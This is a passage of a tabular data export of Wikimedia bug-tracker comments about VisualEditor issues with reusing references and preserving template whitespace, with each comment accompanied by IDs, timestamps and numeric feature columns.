Now marked appropriately."
238120,VisualEditor: Newly-added references need a page save before being reusable,"I can think of possible two reasons why this bug has not been given high priority:

(1) Those unfamiliar with creating or substantially expanding Wikipedia articles don't think that this is a big deal. They are wrong - it IS a big deal. Not been able to cite the same source two or more times in an article, which is exceptionally common, causes all the problems noted by Pam, above.

or (2) VE's fundamental architecture prevents it from adding footnotes created during an editing session to the list of footnotes that existed prior to that session, and if this were listed as a high-priority bug, that design mistake might be much more obvious.

I really, really hope that the answer is not (2), because if so, that's a deal-breaker. The lack of such functionality is certainly, in and of itself, reason to NOW recommend that anyone writing a new article *not* do so in VE. (And, no, it's not acceptable to do everything but the footnotes in VE, then do footnotes with the wikitext editor - users absolutely should be footnoting their text additions with citations, *as they go along*, if only for efficiency.)",,,1375398952,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.0,5.666666666666667,1.6666666666666667,0.3333333333333333,0.0,1.0,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,8.333333333333334,11.333333333333334,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,5.333333333333333,2.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,2.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,10.666666666666666,1.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.0,3.6666666666666665,5.0,2.6666666666666665,2.6666666666666665,7.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,1.0,0.0,3.3333333333333335,11.333333333333334,1.6666666666666667,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,3.8416666666666663,0.7625000000000001,"I can think of possible two reasons why this bug has not been given high priority:

(1) Those unfamiliar with creating or substantially expanding Wikipedia articles don't think that this is a big deal. They are wrong - it IS a big deal. Not been able to cite the same source two or more times in an article, which is exceptionally common, causes all the problems noted by Pam, above.

or (2) VE's fundamental architecture prevents it from adding footnotes created during an editing session to the list of footnotes that existed prior to that session, and if this were listed as a high-priority bug, that design mistake might be much more obvious.

I really, really hope that the answer is not (2), because if so, that's a deal-breaker. The lack of such functionality is certainly, in and of itself, reason to NOW recommend that anyone writing a new article *not* do so in VE. (And, no, it's not acceptable to do everything but the footnotes in VE, then do footnotes with the wikitext editor - users absolutely should be footnoting their text additions with citations, *as they go along*, if only for efficiency.)"
238115,VisualEditor: Newly-added references need a page save before being reusable,"I'd urge this to be a higher priority: how do we expect people to create good new articles, even a well-cited stub, if they can't use the same reference for more than one point? They get offered a ""reuse a reference"" button, but it doesn't work: seriously bad news. The confused editor then has several choices: (a) don't give the extra reference(s) they think are appropriate, dumbing down the article; (b) re-input the reference each time they want to use it; (c) stop editing in VE and go into Edit Source (if they're lucky enough to be an established editor who knows about it and has learned how to use it ... not for newbies according to current ideas); (d) curse and swear and givve up trying to create their article and probably abandon editing Wikipedia altogether.",,,1375346304,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.5,0.0,2.0,6.5,1.5,0.0,0.0,1.0,0.5,2.5,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,6.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,11.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,5.0,1.5,4.0,2.0,3.5,6.5,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,6.5,10.0,2.5,0.5,1.0,0.0,6.5,0.0,1.5,2.5,0.0,3.0,1.0,0.0,1.5,3.7093023255813953,0.7616279069767442,"I'd urge this to be a higher priority: how do we expect people to create good new articles, even a well-cited stub, if they can't use the same reference for more than one point? They get offered a ""reuse a reference"" button, but it doesn't work: seriously bad news. The confused editor then has several choices: (a) don't give the extra reference(s) they think are appropriate, dumbing down the article; (b) re-input the reference each time they want to use it; (c) stop editing in VE and go into Edit Source (if they're lucky enough to be an established editor who knows about it and has learned how to use it ... not for newbies according to current ideas); (d) curse and swear and givve up trying to create their article and probably abandon editing Wikipedia altogether."
53152,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Currently, the ""insert reference"" dialog is a bit confusing and buggy, and it takes two or more steps to actually type the content of a reference (most common case).

We should initialize the dialog with a micro-VE surface that immediately enables the user to type reference content. The selection of an existing reference can be pushed down into a separate section or tab.

(Per discussion w/ James)

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1373508480,1374646985.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,1.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,10.0,2.0,8.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,8.0,3.0,0.0,2.0,0.0,2.0,0.0,1.0,5.0,0.0,1.0,1.0,1.0,0.0,4.08,0.67,"Currently, the ""insert reference"" dialog is a bit confusing and buggy, and it takes two or more steps to actually type the content of a reference (most common case).

We should initialize the dialog with a micro-VE surface that immediately enables the user to type reference content. The selection of an existing reference can be pushed down into a separate section or tab.

(Per discussion w/ James)

--------------------------
**Version**: unspecified
**Severity**: normal"
231609,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,This was done and deployed last week.,,,1374646985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,This was done and deployed last week.
231603,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 merged by jenkins-bot:
Reference dialog commingling

https://gerrit.wikimedia.org/r/74191",,,1374183566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 74191 merged by jenkins-bot:
Reference dialog commingling

GERRIT_URL"
231598,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 had a related patch set uploaded by Jforrester:
Reference dialog commingling

https://gerrit.wikimedia.org/r/74191",,,1374182076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.294117647058823,1.0,"Change 74191 had a related patch set uploaded by Jforrester:
Reference dialog commingling

GERRIT_URL"
231594,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 had a related patch set uploaded by Trevor Parscal:
Reference dialog commingling

https://gerrit.wikimedia.org/r/74191",,,1374090269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,"Change 74191 had a related patch set uploaded by Trevor Parscal:
Reference dialog commingling

GERRIT_URL"
231591,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"James and I agreed to make this a ""stretch blocker"" for the IP release. (That means it's a blocker for now, unless other issues around content corruption or the basic edit surfacing operation become more critical.) The reason is that citations are such a crucial part of the new editing experience that we'd really like to make some basic improvements to the dialog ASAP, ahead of additional refactoring work around supporting citation templates etc.",,,1373510033,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,6.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,16.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,2.0,7.0,4.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,1.0,0.0,1.0,4.435294117647059,0.788235294117647,"James and I agreed to make this a ""stretch blocker"" for the IP release. (That means it's a blocker for now, unless other issues around content corruption or the basic edit surfacing operation become more critical.) The reason is that citations are such a crucial part of the new editing experience that we'd really like to make some basic improvements to the dialog ASAP, ahead of additional refactoring work around supporting citation templates etc."
53150,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"data-mw.i seems to be dropped on edit in latest VE, which causes a loss of round-trip information for spaces etc.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1373505480,1374636985.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,3.75,0.7727272727272727,"data-mw.i seems to be dropped on edit in latest VE, which causes a loss of round-trip information for spaces etc.

--------------------------
**Version**: unspecified
**Severity**: major"
343127,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 180240 merged by jenkins-bot:
Remove workaround for Visual Editor bug (T53150).

[[https://gerrit.wikimedia.org/r/180240]]",,,1418771598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.68,0.92,"Change 180240 merged by jenkins-bot:
Remove workaround for Visual Editor bug (T53150).

[[GERRIT_URL]]"
343046,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 180240 had a related patch set uploaded (by Cscott):
Remove workaround for Visual Editor bug (T53150).

[[https://gerrit.wikimedia.org/r/180240]]

#patch-for-review",,,1418759614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.5833333333333335,0.8055555555555556,"Change 180240 had a related patch set uploaded (by Cscott):
Remove workaround for Visual Editor bug (T53150).

[[GERRIT_URL]]

#patch-for-review"
231507,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"We've not seen this recur; it was probably caused by mis-cached code. Closing, but please re-open if it does happen again.",,,1374636985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,"We've not seen this recur; it was probably caused by mis-cached code. Closing, but please re-open if it does happen again."
231502,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"**wicke** wrote:

%%%*** Bug 51175 has been marked as a duplicate of this bug. ***%%%",,,1374270889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.25,0.5625,"**wicke** wrote:

%%%*** Bug 51175 has been marked as a duplicate of this bug. ***%%%"
231496,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #16)
> (In reply to comment #15)
> > I'm assuming that this is not yet deployed, as a new report was added to
> > 51161:
> > 
> It is deployed.
> 
> > Normally this single-transclusion content should be covered by the Parsoid
> > workaround. Did anything change in the VE handling recently that could have
> > re-added the ""i"" property with a faulty value?
> That sounds unlikely. When the user adds a new parameter, that parameter
> won't
> have an i value, but that seems reasonable to me.

That infobox already existed. The 'i' property is per transclusion, not per parameter.",,,1373928857,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,8.0,20.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3137254901960786,0.5098039215686274,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That infobox already existed. The 'i' property is per transclusion, not per parameter."
231489,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #15)
> I'm assuming that this is not yet deployed, as a new report was added to
> 51161:
> 
It is deployed.

> Normally this single-transclusion content should be covered by the Parsoid
> workaround. Did anything change in the VE handling recently that could have
> re-added the ""i"" property with a faulty value?
That sounds unlikely. When the user adds a new parameter, that parameter won't have an i value, but that seems reasonable to me.

I'll try to reproduce this later and see what's being sent back to Parsoid.",,,1373927744,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,6.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,17.0,1.0,3.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,3.375,0.7083333333333334,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
It is deployed.

QUOTE
QUOTE
QUOTE
That sounds unlikely. When the user adds a new parameter, that parameter won't have an i value, but that seems reasonable to me.

I'll try to reproduce this later and see what's being sent back to Parsoid."
231485,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"I'm assuming that this is not yet deployed, as a new report was added to 51161:

---------------------------------------------------
This is what happened:
http://en.wikipedia.org/w/index.php?title=Scarborough_railway_station&diff=next&oldid=557856562

This is what the user intended:
http://en.wikipedia.org/w/index.php?title=Scarborough_railway_station&diff=564074475&oldid=557856562

If removal of newlines really is necessary, please insert a space instead. If
that is not possible, please remove the spaces from both sides of each equals.
An arrangement like 

|name = Scarborough|symbol = rail|code = SCA|image_name =
ScarboroughRailwayStation.jpg|caption = The entrance to the station

gives the impression of associating a parameter name with the value immediately
preceding. An arrangement like

|name=Scarborough |symbol=rail |code=SCA
|image_name=ScarboroughRailwayStation.jpg |caption=The entrance to the station

would associate a parameter name with the value immediately following.
-------------------------------------------------


Normally this single-transclusion content should be covered by the Parsoid workaround. Did anything change in the VE handling recently that could have re-added the ""i"" property with a faulty value?",,,1373756996,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.5,0.5,0.0,2.0,1.0,2.5,1.0,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,1.0,0.5,4.5,10.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,4.0,0.5,0.5,0.0,0.0,0.5,19.5,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,3.5,11.0,1.5,0.0,13.5,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,1.0,10.0,3.5,0.5,1.0,0.0,1.0,0.0,1.5,3.5,0.0,2.0,0.0,0.0,0.0,5.021505376344086,0.6774193548387097,"I'm assuming that this is not yet deployed, as a new report was added to 51161:

---------------------------------------------------
This is what happened:
URL

This is what the user intended:
URL

If removal of newlines really is necessary, please insert a space instead. If
that is not possible, please remove the spaces from both sides of each equals.
An arrangement like 

|name = Scarborough|symbol = rail|code = SCA|image_name =
ScarboroughRailwayStation.jpg|caption = The entrance to the station

gives the impression of associating a parameter name with the value immediately
preceding. An arrangement like

|name=Scarborough |symbol=rail |code=SCA
|image_name=ScarboroughRailwayStation.jpg |caption=The entrance to the station

would associate a parameter name with the value immediately following.
-------------------------------------------------


Normally this single-transclusion content should be covered by the Parsoid workaround. Did anything change in the VE handling recently that could have re-added the ""i"" property with a faulty value?"
231479,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,*** Bug 51161 has been marked as a duplicate of this bug. ***,,,1373756843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51161 has been marked as a duplicate of this bug. ***
231473,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73372 merged by jenkins-bot:
Preserve unused Parsoid template properties

https://gerrit.wikimedia.org/r/73372",,,1373590110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.1875,1.0,"Change 73372 merged by jenkins-bot:
Preserve unused Parsoid template properties

GERRIT_URL"
231467,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73372 had a related patch set uploaded by Catrope:
Preserve unused Parsoid template properties

https://gerrit.wikimedia.org/r/73372",,,1373590022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2631578947368425,1.0,"Change 73372 had a related patch set uploaded by Catrope:
Preserve unused Parsoid template properties

GERRIT_URL"
231460,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"The Parsoid workaround above is now deployed. If the index went missing in VE, it assumes that a single-transclusion target was not swapped out and reinserts the lost index in that case. This should avoid corruptions in the common single-template case.

